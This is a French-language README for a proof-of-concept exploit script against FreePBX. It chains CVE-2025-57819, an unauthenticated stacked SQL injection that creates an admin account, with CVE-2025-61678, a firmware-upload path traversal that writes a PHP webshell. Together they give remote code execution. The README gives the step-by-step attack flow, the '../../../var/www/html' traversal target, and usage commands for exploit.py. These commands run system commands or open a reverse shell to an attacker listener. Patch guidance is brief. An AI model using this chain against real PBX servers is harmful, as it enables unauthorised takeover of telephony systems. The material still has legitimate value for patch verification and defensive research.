
CVE-2025-57819-RCE_PoC
Résumé : Cette démonstration explique comment combiner deux vulnérabilités de FreePBX 16 (CVE-2025-57819 et CVE-2025-61678) pour réaliser une chaîne d'attaque complète allant de l'accès non authentifié à l'exécution de code à distance (Remote Code Execution, RCE).
Informations sur les vulnérabilités CVE
Numéro CVE
Composant affecté
Impact et type de vulnérabilité
CVE-2025-57819
Chargeur de module Endpoint (paramètre brand)
Injection SQL multi-requêtes non authentifiée (Unauthenticated Stacked SQL Injection)
CVE-2025-61678
Processeur de téléversement de firmware d'Endpoint Manager (paramètre fwbrand)
Téléversement arbitraire de fichiers authentifié / traversée de chemin (Path Traversal)
Principe et déroulement de l'attaque
Création d'un compte administrateur (CVE-2025-57819)
En déclenchant la vulnérabilité d'injection SQL multi-requêtes non authentifiée via le chargeur de modules Endpoint avec espace de noms (Namespaced Endpoint Loader), on écrit directement un nouveau compte administrateur disposant de tous les privilèges dans la table ampusers.
Authentification
Utiliser les identifiants administrateur tout juste créés pour se connecter à l'interface d'administration FreePBX.
Écriture d'un WebShell (CVE-2025-61678)
Abuser de la fonction de téléversement de firmware d'Endpoint Manager, combinée à la vulnérabilité de traversée de chemin dans le paramètre fwbrand (../../../var/www/html/<dir>), pour écrire directement un WebShell PHP dans la racine web.
Exécution de commandes
Appeler le WebShell déployé pour exécuter une commande système unique ou établir un Reverse Shell interactif.
Versions affectées et recommandations de correctif
Versions affectées : FreePBX 16 (module Endpoint antérieur à 16.0.92)
FreePBX 17 (corrigé dans les versions antérieures à 17.0.6)
Recommandation de correctif : mettez à jour dès que possible vers la dernière version corrigée.
Utilisation
# Exécuter une commande unique
python3 exploit.py --rhost pbx.example.com --command "id"
# Établir un Reverse Shell interactif (avec écoute automatique via pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# Utiliser HTTP simple avec un port personnalisé
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
Description des paramètres (Options) Paramètre Description --rhost [Obligatoire] Adresse de la cible (Target Host) --rport Port de destination (défaut : 443) --http Forcer l'utilisation de HTTP au lieu de HTTPS par défaut